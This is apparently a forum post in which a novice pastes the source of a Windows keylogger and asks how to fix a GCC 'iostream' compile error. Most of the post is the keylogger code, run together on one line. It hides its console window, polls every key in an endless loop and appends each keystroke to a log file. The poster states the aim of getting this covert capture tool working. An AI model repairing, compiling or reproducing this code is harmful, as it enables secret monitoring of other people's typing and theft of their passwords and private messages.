First thing is that I don't know much about programming at all. I got some C code off of a site that isn't working; when I attempt to compile this keylogger:
#include <iostream>#include <Windows.h>using namespace std;int Save(int _key, char *file);int main() { FreeConsole();char i;while (true) { Sleep(10); for (i = 8; i <= 255; i++) { if (GetAsyncKeyState(i) == -32767) { Save(i, "log.txt"); } } } return 0;}int Save(int _key, char *file) {cout << _key << endl;Sleep(10);FILE *OUTPUT_FILE;OUTPUT_FILE = fopen(file, "a+");if (_key == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); else if (_key == VK_BACK) fprintf(OUTPUT_FILE, "%s", "[BACK]"); else if (_key == VK_LBUTTON) fprintf(OUTPUT_FILE, "%s", "[LBUTTON]"); else if (_key == VK_RETURN) fprintf(OUTPUT_FILE, "%s", "[RETURN]"); else if (_key == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); else fprintf(OUTPUT_FILE, "%s", &_key);fclose(OUTPUT_FILE);return 0;}
command prompt gives me
fatal error: iostream: No such file or directorycompilation terminated.
I've also tried
#include <iostream.h>
instead of
#include <iostream>
and got the same error.How do I compile the code? Is there something wrong with it, and if so how do I fix it? Thanks! (And if you could make it easy for a luddite like me to understand, I'd really appreciate it)Using GCC to compile, Windows 10 64-bit